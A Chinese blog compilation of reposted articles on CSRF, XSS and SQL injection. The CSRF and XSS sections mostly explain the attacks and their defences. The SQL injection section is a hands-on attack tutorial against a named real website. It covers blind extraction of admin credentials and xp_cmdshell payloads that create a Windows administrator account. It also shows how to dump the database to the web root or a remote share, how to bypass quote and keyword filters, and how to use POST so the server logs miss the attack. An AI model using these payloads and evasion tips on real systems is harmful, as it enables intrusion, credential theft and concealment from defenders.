一.CSRF是什么?
CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF。
二.CSRF可以做什么?
你这可以这么理解CSRF攻击:攻击者盗用了你的身份,以你的名义发送恶意请求。CSRF能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账......造成的问题包括:个人隐私泄露以及财产安全。
三.CSRF漏洞现状
CSRF这种攻击方式在2000年已经被国外的安全人员提出,但在国内,直到06年才开始被关注,08年,国内外的多个大型社区和交互网站分别 爆出CSRF漏洞,如:NYTimes.com(纽约时报)、Metafilter(一个大型的BLOG网站),YouTube和百度HI......而 现在,互联网上的许多站点仍对此毫无防备,以至于安全业界称CSRF为“沉睡的巨人”。
四.CSRF的原理
下图简单阐述了CSRF攻击的思想:
从上图可以看出,要完成一次CSRF攻击,受害者必须依次完成两个步骤:
1.登录受信任网站A,并在本地生成Cookie。
2.在不登出A的情况下,访问危险网站B。
看到这里,你也许会说:“如果我不满足以上两个条件中的一个,我就不会受到CSRF的攻击”。是的,确实如此,但你不能保证以下情况不会发生:
1.你不能保证你登录了一个网站后,不再打开一个tab页面并访问另外的网站。
2.你不能保证你关闭浏览器了后,你本地的Cookie立刻过期,你上次的会话已经结束。(事实上,关闭浏览器不能结束一个会话,但大多数人都会错误的认为关闭浏览器就等于退出登录/结束会话了......)
3.上图中所谓的攻击网站,可能是一个存在其他漏洞的可信任的经常被人访问的网站。
上面大概地讲了一下CSRF攻击的思想,下面我将用几个例子详细说说具体的CSRF攻击,这里我以一个银行转账的操作作为例子(仅仅是例子,真实的银行网站没这么傻:>)
示例1:
银行网站A,它以GET请求来完成银行转账的操作,如:http://www.mybank.com/Transfer.php?toBankId=11&money=1000
危险网站B,它里面有一段HTML的代码如下:
首先,你登录了银行网站A,然后访问危险网站B,噢,这时你会发现你的银行账户少了1000块......
为什么会这样呢?原因是银行网站A违反了HTTP规范,使用GET请求更新资源。在访问危险网站B的之前,你已经登录了银行网站A,而B中 的<img>以GET的方式请求第三方资源(这里的第三方就是指银行网站了,原本这是一个合法的请求,但这里被不法分子利用了),所以你的浏 览器会带上你的银行网站A的Cookie发出Get请求,去获取资源“http://www.mybank.com /Transfer.php?toBankId=11&money=1000”,结果银行网站服务器收到请求后,认为这是一个更新资源操作(转账 操作),所以就立刻进行转账操作......
示例2:
为了杜绝上面的问题,银行决定改用POST请求完成转账操作。
银行网站A的WEB表单如下:
后台处理页面Transfer.php如下:
危险网站B,仍然只是包含那句HTML代码:
和示例1中的操作一样,你首先登录了银行网站A,然后访问危险网站B,结果.....和示例1一样,你再次没了1000块~T_T,这次事故的 原因是:银行后台使用了$_REQUEST去获取请求的数据,而$_REQUEST既可以获取GET请求的数据,也可以获取POST请求的数据,这就造成 了在后台处理程序无法区分这到底是GET请求的数据还是POST请求的数据。在PHP中,可以使用$_GET和$_POST分别获取GET请求和POST 请求的数据。在JAVA中,用于获取请求数据request一样存在不能区分GET请求数据和POST数据的问题。
示例3:
经过前面2个惨痛的教训,银行决定把获取请求数据的方法也改了,改用$_POST,只获取POST请求的数据,后台处理页面Transfer.php代码如下:
然而,危险网站B与时俱进,它改了一下代码:
如果用户仍是继续上面的操作,很不幸,结果将会是再次不见1000块......因为这里危险网站B暗地里发送了POST请求到银行!
总结一下上面3个例子,CSRF主要的攻击模式基本上是以上的3种,其中以第1,2种最为严重,因为触发条件很简单,一 个<img>就可以了,而第3种比较麻烦,需要使用JavaScript,所以使用的机会会比前面的少很多,但无论是哪种情况,只要触发了 CSRF攻击,后果都有可能很严重。
理解上面的3种攻击模式,其实可以看出,CSRF攻击是源于WEB的隐式身份验证机制!WEB的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器,但却无法保证该请求是用户批准发送的!
五.CSRF的防御
CSRF 的防范机制有很多种,防范的方法也根据 CSRF 攻击方式的不断升级而不断演化。常用的有检查 Refer 头部信息,使用一次性令牌,使用验证图片等手段。出于性能的考虑,如果每个请求都加入令牌验证将极大的增加服务器的负担,具体采用那种方法更合理,需要谨 慎审视每种保护的优缺点。
1. 检查 HTTP 头部 Refer 信息,这是防止 CSRF 的最简单容易实现的一种手段。根据 RFC 对于 HTTP 协议里面 Refer 的定义,Refer 信息跟随出现在每个 Http 请求头部。Server 端在收到请求之后,可以去检查这个头信息,只接受来自本域的请求而忽略外部域的请求,这样就可以避免了很多风险。当然这种检查方式由于过于简单也有它自身 的弱点:
a) 首先是检查 Refer 信息并不能防范来自本域的攻击。在企业业务网站上,经常会有同域的论坛,邮件等形式的 Web 应用程序存在,来自这些地方的 CSRF 攻击所携带的就是本域的 Refer 域信息,因此不能被这种防御手段所阻止。
b) 同样,某些直接发送 HTTP 请求的方式(指非浏览器,比如用后台代码等方法)可以伪造一些 Refer 信息,虽然直接进行头信息伪造的方式属于直接发送请求,很难跟随发送 cookie,但由于目前客户端手段层出不穷,flash,javascript 等大规模使用,从客户端进行 refer 的伪造,尤其是在客户端浏览器安装了越来越多的插件的情况下已经成为可能了。
2. 使用一次性令牌,这是当前 Web 应用程序的设计人员广泛使用的一种方式,方法是对于 Get 请求,在 URL 里面加入一个令牌,对于 Post 请求,在隐藏域中加入一个令牌。这个令牌由 server 端生成,由编程人员控制在客户端发送请求的时候使请求携带本令牌然后在 Server 端进行验证。但在令牌的设计上目前存在着几个错误的方案:
a) 使用和 Session 独立的令牌生成方式。这种令牌的值和 Session 无关,因此容易被其他用户伪造。这里的其他用户指的是当前 Web 应用程序的其他用户和活跃在网络传输阶段各个设置上的监听者,这种恶意用户可能使用自己的令牌来进行替换以便达到伪造的目的。
b) 完全使用 Session 认证信息作为令牌的生成方式。这种保护方式对于保护 CSRF 是起了作用的,但是可能会造成其他危害,具体来说,如果某些 URL 或者网页被拷贝下来与其他人共享,那么这些 URL 或者拷贝下来的网页中可能会含有用户的会话信息,这种信息一旦被恶意用户获得,就能造成极大的危害。
因此,一个正确的令牌设计应该是使用 Session 信息做 Hash,用得出的哈希值来做 CSRF 的令牌。
3. 使用验证图片,这种方法的出现的作用是对于机器人暴力攻击的防止。但在 CSRF 的防范上,也有一些安全性要求比较高的的应用程序结合验证图片和一次性令牌来做双重保护。由于这种图片验证信息很难被恶意程序在客户端识别,因此能够提高 更强的保护。当客户端的浏览器可能已经处于一种不安全的环境中的情况下(比如客户端的安全级别设置较低,客户端浏览器安装了不安全的插件等)。
以上给的这些只是防范 CSRF 的比较通用的一些方法,Web 开发人员可以根据自己对自己的应用程序的功能的理解来确定安全级别的要求从而选择使用不同的保护措施,也推荐在同一应用程序内部结合使用多种方法来进行保护。
注:加防也会极大的影响性能,就如在高速路上放一个收费站,建议只在重要操作上加防。如位慎重考虑。
另外,防守方面因为时间问题没有加代码,有代码的朋友欢迎补上。以后我会将代码陆续补上。
前半部份转自(攻):http://www.cnblogs.com/hyddd/archive/2009/04/09/1432744.html
后半部份转自(防):http://www.ibm.com/developerworks/cn/rational/r-cn-webcsrf/
一、原理
跨站脚本Cross-Site Scripting(XSS)是最为流行的Web安全漏洞之一。
跨站脚本,就是攻击者可以将恶意的脚本代码注入到用户浏览的其它网页上。
XSS攻击主要分类为两种:
1、站内攻击,攻击者将攻击脚本提交到网站数据库内(如攻击者的个人信息内含攻击脚本),再欺骗其它人(系统管理员)浏览该页,触发该面的攻击脚本。
2、站外攻击,攻击都自制Email或网页,再欺骗其它人浏览该页,触发该面的攻击脚本。
二、跨站脚本介绍
有如下代码:
1 <asp:TextBox ID="txbUserName" runat="server"></asp:TextBox>
2 <asp:Button ID="btnSave" runat="server" Text="Button" onclick="btnSave_Click" />
1 protected void btnSave_Click(object sender, EventArgs e)
2 {
3 Response.Write(txbUserName.Text);
4 }
当我们在输入框里输入<script type="text/javascript">alert("script injection "+document.cookie);</script>时就会弹出用户的cookie。
而把这段代码存入数据库或自制一个网面,让其他用户触发,就可以取得其他用户的相关资源。(cookie是可以用来review页面原,可以用被攻击者的身份登陆到网页上。相关方法网上很多,大家感兴趣可以去百度一下。)
攻击者可以写JS将这些资源发到指定的网址或邮箱,用于下一步攻击。
攻南者也可以写JS抓取当前用户的页面内容,如帐户信息等等。
且JS还可以用ActinveObject来做很多事,如下载病毒和木马球、甚至是修改注册表(在客户机没有防火墙的情况下)。总之让用户输入了代码,再让这段代码可执行是非常危险的。
关于这些东西的的具体代码,有兴趣的可以一起学习,写起来不难。
三、防御方法
1、页面或web.config中配置 ValidateRequest=”false”,ValidateRequest只是ASP.NET提供的深层防御手段(Defense-in-Depth)。Web开发中不能仅依赖它,而没有专门的对输入的校验代码。
2、用正则表达式过滤或转换特殊字符。(不推荐,容易出问题)
3、使用ASP.NET自身支持的HttpUtility。(这个比较方便)
例如:
Response.Write(HttpUtility.HtmlEncode(Request.Form["name"]));
4、使用微软提供的反跨站脚本库(Microsoft Anti-Cross Site Scripting Library V1.5 - AntiXss)。(这是最安全的)
AntiXSS是一个单独下载的软件库。开发人员可以从http://www.microsoft.com/download/en/details.aspx?id=5242直接下载。(安装后在项目里引用AntiXSSLibrary.dll用可以调用了。注意这个是.net4.0的版本,请根据自己需求下载相应版本。)
AntiXss的使用方式与HttpUtility类似:
String Name = AntiXss.HtmlEncode(Request.QueryString["Name"]);
那么HttpUtility和AntiXss的区别是什么?开发人员应该使用哪一种?
它们最大的区别在于HttpUtility.HtmlEncode采用的是黑名单验证(Black list)方式。即HttpUtility.HtmlEncode仅仅过滤它知道的特殊字符,而允许其它的输入。AntiXss.HtmlEncode采用的白名单验证(White list)方式。它只允许输出它认为合法的字符,而过滤掉其它的所有字符。
两者中,AntiXss.HtmlEncode要更为安全,是推荐的使用手段。
这是一篇转载文章,但我实际操作了里面的所有内容,并加入了一些个人的操作和见解。经过学习,发现自己以前做的一些web站点的确存在不少问题,所以将它写在了随笔里,方便以后随时查看。
先说一个防守吧,个人经验如下:
1.在程序和SP中不使用任何拼接SQL,即使动态语句非用不可,也要保证传入参数不是从页面输入进来的。
2.web页面的错误信息严禁公开到客户端(统一转向指定错误页面)
3.web.config中的数据库连接语句必须加密处理,连接用户名严禁使用sa。
4.sql数据库尽可能多的限制非管理员用户的权限,特别是cmdshell之类。
5.所有页面输入的值必须用参数(parameter)形式传值给SQL,严禁拼接。
下面来看一下SQL注入吧。
第一节、SQL注入原理
以下我们从一个网站www.19cn.com开始(注:本文发表前已征得该站站长同意,大部分都是真实数据)。
在网站首页上,有名为“IE不能打开新窗口的多种解决方法”的链接,地址为:http://www.19cn.com/showdetail.asp?id=49,我们在这个地址后面加上单引号’,服务器会返回下面的错误提示:
Microsoft JET Database Engine 错误 '80040e14'
字符串的语法错误 在查询表达式 'ID=49'' 中。
/showdetail.asp,行8
从这个错误提示我们能看出下面几点:
1.网站使用的是Access数据库,通过JET引擎连接数据库,而不是通过ODBC。
2.程序没有判断客户端提交的数据是否符合程序要求。
3.该SQL语句所查询的表中有一名为ID的字段。
从上面的例子我们可以知道,SQL注入的原理,就是从客户端提交特殊的代码,从而收集程序及服务器的信息,从而获取你想到得到的资料。
第二节、判断能否进行SQL注入
看完第一节,有一些人会觉得:我也是经常这样测试能否注入的,这不是很简单吗?其实,这并不是最好的方法,为什么呢?
首先,不一定每台服务器的IIS都返回具体错误提示给客户端,如果程序中加了cint(参数)之类语句的话,SQL注入是不会成功的,但服务器同样会报错,具体提示信息为处理 URL 时服务器上出错。请和系统管理员联络。
其次,部分对SQL注入有一点了解的程序员,认为只要把单引号过滤掉就安全了,这种情况不为少数,如果你用单引号测试,是测不到注入点的
那么,什么样的测试方法才是比较准确呢?答案如下:
① http://www.19cn.com/showdetail.asp?id=49
② http://www.19cn.com/showdetail.asp?id=49 and 1=1
③ http://www.19cn.com/showdetail.asp?id=49 and 1=2
这就是经典的1=1、1=2测试法了,怎么判断呢?看看上面三个网址返回的结果就知道了:
可以注入的表现:
① 正常显示(这是必然的,不然就是程序有错误了)
② 正常显示,内容基本与①相同
③ 提示BOF或EOF(程序没做任何判断时)、或提示找不到记录(判断了rs.eof时)、或显示内容为空(程序加了on error resume next)
不可以注入就比较容易判断了,①同样正常显示,②和③一般都会有程序定义的错误提示,或提示类型转换时出错。
当然,这只是传入参数是数字型的时候用的判断方法,实际应用的时候会有字符型和搜索型参数,我将在中级篇的“SQL注入一般步骤”再做分析。
第三节、判断数据库类型及注入方法
不同的数据库的函数、注入方法都是有差异的,所以在注入之前,我们还要判断一下数据库的类型。一般ASP最常搭配的数据库是Access和SQLServer,网上超过99%的网站都是其中之一。
怎么让程序告诉你它使用的什么数据库呢?来看看:
SQLServer有一些系统变量,如果服务器IIS提示没关闭,并且SQLServer返回错误提示的话,那可以直接从出错信息获取,方法如下:
http://www.19cn.com/showdetail.asp?id=49 and user>0
这句语句很简单,但却包含了SQLServer特有注入方法的精髓,我自己也是在一次无意的测试中发现这种效率极高的猜解方法。让我看来看看它的含义:首 先,前面的语句是正常的,重点在and user>0,我们知道,user是SQLServer的一个内置变量,它的值是当前连接的用户名,类型为nvarchar。拿一个 nvarchar的值跟int的数0比较,系统会先试图将nvarchar的值转成int型,当然,转的过程中肯定会出错,SQLServer的出错提示 是:将nvarchar值 ”abc” 转换数据类型为 int 的列时发生语法错误,呵呵,abc正是变量user的值,这样,不废吹灰之力就拿到了数据库的用户名。在以后的篇幅里,大家会看到很多用这种方法的语句。
顺便说几句,众所周知,SQLServer的用户sa是个等同Adminstrators权限的角色,拿到了sa权限,几乎肯定可以拿到主机的 Administrator了。上面的方法可以很方便的测试出是否是用sa登录,要注意的是:如果是sa登录,提示是将”dbo”转换成int的列发生错 误,而不是”sa”。
如果服务器IIS不允许返回错误提示,那怎么判断数据库类型呢?我们可以从Access和SQLServer和区别入手,Access和 SQLServer都有自己的系统表,比如存放数据库中所有对象的表,Access是在系统表[msysobjects]中,但在Web环境下读该表会提 示“没有权限”,SQLServer是在表[sysobjects]中,在Web环境下可正常读取。
在确认可以注入的情况下,使用下面的语句:
http://www.19cn.com/showdetail.asp?id=49 and (select count(*) from sysobjects)>0
http://www.19cn.com/showdetail.asp?id=49 and (select count(*) from msysobjects)>0
如果数据库是SQLServer,那么第一个网址的页面与原页面http://www.19cn.com/showdetail.asp?id=49是大致相同的;而第二个网址,由于找不到表msysobjects,会提示出错,就算程序有容错处理,页面也与原页面完全不同。
如果数据库用的是Access,那么情况就有所不同,第一个网址的页面与原页面完全不同;第二个网址,则视乎数据库设置是否允许读该系统表,一般来说是不 允许的,所以与原网址也是完全不同。大多数情况下,用第一个网址就可以得知系统所用的数据库类型,第二个网址只作为开启IIS错误提示时的验证。
第四节、SQL注入的一般步骤
网上说的废话太多了,我就简单说下,取字段名和表名:
1,可以查系统表,再用Ascii来解出每一个字符,最后拼出表名
2,看网面源码,控件命名,程序员一般喜欢将控件名和表里字段名取得一至,方便维护,我自己也这么干。
下面介绍一种最常用的方法-Ascii逐字解码法,虽然这种方法速度很慢,但肯定是可行的方法。(用程序实现可一点也不慢哦!)
我们举个例子,已知表Admin中存在username字段,首先,我们取第一条记录,测试长度:
http://www.19cn.com/showdetail.asp?id=49 and (select top 1 len(username) from Admin)>0
先说明原理:如果top 1的username长度大于0,则条件成立;接着就是>1、>2、>3这样测试下去,一直到条件不成立为止,比如>7成立,>8不成立,就是len(username)=8
当然没人会笨得从0,1,2,3一个个测试,怎么样才比较快就看各自发挥了。在得到username的长度后,用mid(username,N,1)截取第N位字符,再asc(mid(username,N,1))得到ASCII码,比如:
id=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0
同样也是用逐步缩小范围的方法得到第1位字符的ASCII码,注意的是英文和数字的ASCII码在1-128之间,可以用二分法加速猜解,如果写成程序测试,效率会有极大的提高。
第五节、SQL注入常用函数
有SQL语言基础的人,在SQL注入的时候成功率比不熟悉的人高很多。我们有必要提高一下自己的SQL水平,特别是一些常用的函数及命令。
Access:asc(字符) SQLServer:unicode(字符)
作用:返回某字符的ASCII码
Access:chr(数字) SQLServer:nchar(数字)
作用:与asc相反,根据ASCII码返回字符
Access:mid(字符串,N,L) SQLServer:substring(字符串,N,L)
作用:返回字符串从N个字符起长度为L的子字符串,即N到N+L之间的字符串
Access:abc(数字) SQLServer:abc (数字)
作用:返回数字的绝对值(在猜解汉字的时候会用到)
Access:A between B And C SQLServer:A between B And C
作用:判断A是否界于B与C之间
第六节、中文处理方法
在注入中碰到中文字符是常有的事,有些人一碰到中文字符就想打退堂鼓了。其实只要对中文的编码有所了解,“中文恐惧症”很快可以克服。
先说一点常识:
Access中,中文的ASCII码可能会出现负数,取出该负数后用abs()取绝对值,汉字字符不变。
SQLServer中,中文的ASCII为正数,但由于是UNICODE的双位编码,不能用函数ascii()取得ASCII码,必须用函数unicode ()返回unicode值,再用nchar函数取得对应的中文字符。
第七节、利用系统表注入SQLServer数据库(本来这一节也可以略掉的,但考虑到有的朋友可以这些语句不熟,所以也列了出来)
SQLServer是一个功能强大的数据库系统,与操作系统也有紧密的联系,这给开发者带来了很大的方便,但另一方面,也为注入者提供了一个跳板,我们先来看看几个具体的例子:
① http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--
分号;在SQLServer中表示隔开前后两句语句,--表示后面的语句为注释,所以,这句语句在 SQLServer中将被分成两句执行,先是Select出ID=1的记录,然后执行存储过程xp_cmdshell,这个存储过程用于调用系统命令,于 是,用net命令新建了用户名为name、密码为password的windows的帐号,接着:
② http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”--
将新建的帐号name加入管理员组,不用两分钟,你已经拿到了系统最高权限!当然,这种方法只适用于用sa连接数据库的情况,否则,是没有权限调用xp_cmdshell的。
③ http://Site/url.asp?id=1 ;;and db_name()>0
前面有个类似的例子and user>0,作用是获取连接用户名,db_name()是另一个系统变量,返回的是连接的数据库名。
④ http://Site/url.asp?id=1;backup database 数据库名 to disk=’c:/inetpub/wwwroot/1.db’;--
这是相当狠的一招,从③拿到的数据库名,加上某些IIS出错暴露出的绝对路径,将数据库备份到Web目录下面,再用 HTTP把整个数据库就完完整整的下载回来,所有的管理员及用户密码都一览无遗!在不知道绝对路径的时候,还可以备份到网络地址的方法(如 //202.96.xx.xx/Share/1.db),但成功率不高。
⑤ http://Site/url.asp?id=1 ;;and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0
前面说过,sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对 象,xtype=’U’ and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。第二、第三个表名怎么获取?还是留 给我们聪明的读者思考吧。
⑥ http://Site/url.asp?id=1 ;;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0
从⑤拿到表名后,用object_id(‘表名’)获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。
以上6点是我研究SQLServer注入半年多以来的心血结晶,可以看出,对SQLServer的了解程度,直接影响着成功率及猜解速度。在我研究SQLServer注入之后,我在开发方面的水平也得到很大的提高,呵呵,也许安全与开发本来就是相辅相成的吧。
第七节、绕过程序限制继续注入
在入门篇提到,有很多人喜欢用’号测试注入漏洞,所以也有很多人用过滤’号的方法来“防止”注入漏洞,这也许能挡住一些入门者的攻击,但对SQL注入比较熟悉的人,还是可以利用相关的函数,达到绕过程序限制的目的。
在“SQL注入的一般步骤”一节中,我所用的语句,都是经过我优化,让其不包含有单引号的;在“利用系统表注入SQLServer数据库”中,有些语句包含有’号,我们举个例子来看看怎么改造这些语句:
简单的如where xtype=’U’,字符U对应的ASCII码是85,所以可以用where xtype=char(85)代替;如果字符是中文的,比如where name=’用户’,可以用where name=nchar(29992)+nchar(25143)代替。
第八节、经验小结
1.有些人会过滤Select、Update、Delete这些关键字,但偏偏忘记区分大小写,所以大家可以用selecT这样尝试一下。(SQL又怎会只有这些关键词呢,能注入,别人可以用动态语句啊,你怎么过滤?)
2.在猜不到字段名时,不妨看看网站上的登录表单,一般为了方便起见,字段名都与表单的输入框取相同的名字。
3.特别注意:地址栏的+号传入程序后解释为空格,%2B解释为+号,%25解释为%号,具体可以参考URLEncode的相关介绍。
4.用Get方法注入时,IIS会记录你所有的提交字符串,对Post方法做则不记录,所以能用Post的网址尽量不用Get。
5. 猜解Access时只能用Ascii逐字解码法,SQLServer也可以用这种方法,只需要两者之间的区别即可,但是如果能用SQLServer的报错信息把值暴露出来,那效率和准确率会有极大的提高。